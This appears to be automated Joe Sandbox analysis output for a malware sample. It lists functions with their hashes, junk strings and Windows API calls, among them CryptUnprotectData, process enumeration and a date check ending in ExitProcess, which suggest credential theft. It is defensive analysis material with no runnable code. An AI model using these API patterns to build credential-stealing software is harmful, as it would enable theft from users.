
Similarity

API ID:
String ID: $7EL$< }$J{MM$`6=$eo;
API String ID: 0-485998035
Opcode ID: 3572b2f4718245b5d7b8bfcce7e110ce983f98aaf4148377aa0e3778285b544f
Instruction ID: 4f6f7e505ae25b916407e18a4f2e763de080f8ca6b40b16714289b67825181e6
Opcode Fuzzy Hash: 3572b2f4718245b5d7b8bfcce7e110ce983f98aaf4148377aa0e3778285b544f
Instruction Fuzzy Hash: ACB229F360C2049FE3086E2DEC85A7ABBE9EF94320F1A453DE6C5C7744EA3558058697

Function 0057C499 Relevance: 7.9, Strings: 5, Instructions: 1614COMMON

Download Yara Rule

Strings

vIYA, xrefs: 0057C6FA
{?, xrefs: 0057D082
0rf], xrefs: 0057D68B
_7=, xrefs: 0057CE54
R35o, xrefs: 0057D81C

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0rf]$R35o$_7=$vIYA${?
API String ID: 0-1634464998
Opcode ID: 5d40d7d2bc2f66789b6dc5c4bf2e95f3a1c7212ba0475ec212699e546adf0157
Instruction ID: 3045f3611cb71d92c027b20d7c53d75b5b60be9b52217090b022dc93697b42ff
Opcode Fuzzy Hash: 5d40d7d2bc2f66789b6dc5c4bf2e95f3a1c7212ba0475ec212699e546adf0157
Instruction Fuzzy Hash: 10B21AF360C2049FE304AE3DEC8567ABBE5EF94720F16893DEAC4C7744EA3558058696

Function 0058158E Relevance: 7.8, Strings: 5, Instructions: 1572COMMON

Download Yara Rule

Strings

|?, xrefs: 005819DC
IJs, xrefs: 0058213A
?Pon, xrefs: 00581A86
fj=_, xrefs: 00582385
4{[, xrefs: 00581ECB

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: |?$?Pon$IJs$fj=_$4{[
API String ID: 0-1885599475
Opcode ID: ea09586ce0861abbfdacc98e87a048b033393d6e7f13b8439108f00b7f90efb5
Instruction ID: dffdbf72b80790c076118b8f05e29c21bbdf9009d7039080055e1375b5068b99
Opcode Fuzzy Hash: ea09586ce0861abbfdacc98e87a048b033393d6e7f13b8439108f00b7f90efb5
Instruction Fuzzy Hash: A3B2D4F3A0C2049FE314AE29EC8567AFBE9EF94720F16493DE6C4C3740E67598058697

Function 0057E132 Relevance: 7.7, Strings: 5, Instructions: 1453COMMON

Download Yara Rule

Strings

9e8_, xrefs: 0057E330
X;B, xrefs: 0057EF8F
!|rs, xrefs: 0057EDD3
:c}o, xrefs: 0057F293
d<~, xrefs: 0057F2E8

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !|rs$9e8_$:c}o$X;B$d<~
API String ID: 0-2042879810
Opcode ID: a478e5c53bb335b3ec5f6d28448d4fcf62d3ebd1d6569ce676b6cd090352a812
Instruction ID: d255154075d61f787b4cd382142d61a76218bf5787569cf181ec1e29d2c1243d
Opcode Fuzzy Hash: a478e5c53bb335b3ec5f6d28448d4fcf62d3ebd1d6569ce676b6cd090352a812
Instruction Fuzzy Hash: EFA208F360C2049FE7046E2DEC8567AFBE9EF94720F1A4A3DEAC4C7344E63558058696

Function 001BC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 001BC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 001BC87C
lstrcat.KERNEL32(?,001D0B46), ref: 001BC943
lstrcat.KERNEL32(?,001D0B47), ref: 001BC957
lstrcat.KERNEL32(?,001D0B4E), ref: 001BC978

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: ac010033d6caeda5c1cbb43cd11db59e8aef849c8c351b2ec98d1429b70f97ba
Instruction ID: cd857fe91165e15568e0652c8584304a22ecba84e16d4dde79fa14e2056795eb
Opcode Fuzzy Hash: ac010033d6caeda5c1cbb43cd11db59e8aef849c8c351b2ec98d1429b70f97ba
Instruction Fuzzy Hash: D4414DB590421ADFDB10DFA4DD89BFEF7B8BB48704F1041A9E509A7280D7749A84CF91

Function 001C6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 001C696C
sscanf.NTDLL ref: 001C6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001C69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001C69C0
ExitProcess.KERNEL32 ref: 001C69DA

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 134a3518bc817f9f2d4aa504b9e3bc59c8622e530d9c5b02319e0c795c7162fc
Instruction ID: b812fd8c81747799fe7c9b600cc7568acc4ff433eb86848873a8e7609ecd3086
Opcode Fuzzy Hash: 134a3518bc817f9f2d4aa504b9e3bc59c8622e530d9c5b02319e0c795c7162fc
Instruction Fuzzy Hash: 3A21BAB5D14208ABCF05EFE4D945AEEB7B9BF58304F04852EE40AA3250EB749605CBA5

Function 001B7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 001B724D
RtlAllocateHeap.NTDLL(00000000), ref: 001B7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 001B7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 001B72A4
LocalFree.KERNEL32(?), ref: 001B72AE

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: e1e769a15aadaba6a9b9a4767911e328ad6e5fa514ebbeac1fbdb853a9659184
Instruction ID: 3b6b35811efd84eace670a8baf884f451495fb751cdb78a748cdc08016e71023
Opcode Fuzzy Hash: e1e769a15aadaba6a9b9a4767911e328ad6e5fa514ebbeac1fbdb853a9659184
Instruction Fuzzy Hash: 030100B5A40208BBDB14DBE4CD45FAE77B8AB48704F104155FB09AB2C0D7B0AA00CB65

Function 001C9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001C961E
Process32First.KERNEL32(001D0ACA,00000128), ref: 001C9632
Process32Next.KERNEL32(001D0ACA,00000128), ref: 001C9647
StrCmpCA.SHLWAPI(?,00000000), ref: 001C965C
CloseHandle.KERNEL32(001D0ACA), ref: 001C967A

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 5103565078bd6413f4c14319edf8229fd6a3da103b56aed77949f5b8d51c47d1
Instruction ID: 8d6b78ce59ba46708e171b0797572fd0aabeae1278cb7b89e353b22a95d8e324
Opcode Fuzzy Hash: 5103565078bd6413f4c14319edf8229fd6a3da103b56aed77949f5b8d51c47d1
Instruction Fuzzy Hash: 1201E9B5A00218ABCB15DFA5CD48FEDBBF8AB58740F104188A90996290E774AA44DF51

Function 005882E6 Relevance: 6.5, Strings: 4, Instructions: 1471COMMON

Download Yara Rule

Strings

6i{, xrefs: 00588C4E
/N=, xrefs: 005894D1
,<o~, xrefs: 0058845B
Me}=, xrefs: 00588524

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,<o~$/N=$Me}=$6i{
API String ID: 0-185543882
Opcode ID: b49f31549480b60a8ffae5d267b04f5b20b3377b55a421055e7e6957b629285b
Instruction ID: 48fa2f4bac4aab521d64d85e3faeaacbef44c27aba4eeaedfacd959656bc9b46
Opcode Fuzzy Hash: b49f31549480b60a8ffae5d267b04f5b20b3377b55a421055e7e6957b629285b
Instruction Fuzzy Hash: AEA204F390C2149FE7047E29EC8576ABBE5EF94320F1A4A3DEAC593744EA3558008797

Function 0057ACE6 Relevance: 6.3, Strings: 4, Instructions: 1308COMMON

Download Yara Rule

Strings

J&V*, xrefs: 0057B65B
_'^, xrefs: 0057BA05
%Es, xrefs: 0057B6C5
>Nm, xrefs: 0057B869

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %Es$>Nm$J&V*$_'^
API String ID: 0-3781541614
Opcode ID: 0db91957582bc2e4d9e5a683aff70552c451b622ce75c3c12f78c4821559a316
Instruction ID: 91899001cd5416d1f5c732de44bdab0f1a0d63ddb172b54ec5a0251feb7c792f
Opcode Fuzzy Hash: 0db91957582bc2e4d9e5a683aff70552c451b622ce75c3c12f78c4821559a316
Instruction Fuzzy Hash: 3F92D4F390C6149FE304AF29DC8566AFBE5EF94720F16892DEAC4C3744E63598018B97

Function 001C8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,001B5184,40000001,00000000,00000000,?,001B5184), ref: 001C8EC0

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: c3426beec34639b9793e91af6cac8690dd36ad61ec0fd71c0954f3c99700e8de
Instruction ID: 05f1b3bc3af1d4f645ac41dc94f11558214c1e37fa0e8384b8d1c21eb82cb549
Opcode Fuzzy Hash: c3426beec34639b9793e91af6cac8690dd36ad61ec0fd71c0954f3c99700e8de
Instruction Fuzzy Hash: FC1100B0200209AFDB04CFA4E889FBB37AAAF99314F10945CF919CB250DB75E841DB60

Function 001B9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001B4EEE,00000000,00000000), ref: 001B9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,001B4EEE,00000000,?), ref: 001B9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001B4EEE,00000000,00000000), ref: 001B9B2A
LocalFree.KERNEL32(?,?,?,?,001B4EEE,00000000,?), ref: 001B9B3F

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 618f8f5427517b3b1e5f18acddd5f1b53a9c0f0186491cfd0e95bea30fc7a881
Instruction ID: e19e4910c0ba1bc18329fdd64a01906db40ac23f598819bc2b830a8624ae11f3
Opcode Fuzzy Hash: 618f8f5427517b3b1e5f18acddd5f1b53a9c0f0186491cfd0e95bea30fc7a881
Instruction Fuzzy Hash: 8511A4B4240308AFEB11CF64DC95FAA77B9FB89700F208058FA199B390C7B5A901CB50

Function 001C7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00EEDB10,00000000,?,001D0E10,00000000,?,00000000,00000000), ref: 001C7A63
RtlAllocateHeap.NTDLL(00000000), ref: 001C7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00EEDB10,00000000,?,001D0E10,00000000,?,00000000,00000000,?), ref: 001C7A7D
wsprintfA.USER32 ref: 001C7AB7

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 19c44fa74563232e8f852f10973a551bff6926a07384420d3ed7d4fda33cd754
Instruction ID: 91bf6e597dbfbdc51fd42ff8b65078d819e09e866767fa84c1c4a201d079aede
Opcode Fuzzy Hash: 19c44fa74563232e8f852f10973a551bff6926a07384420d3ed7d4fda33cd754
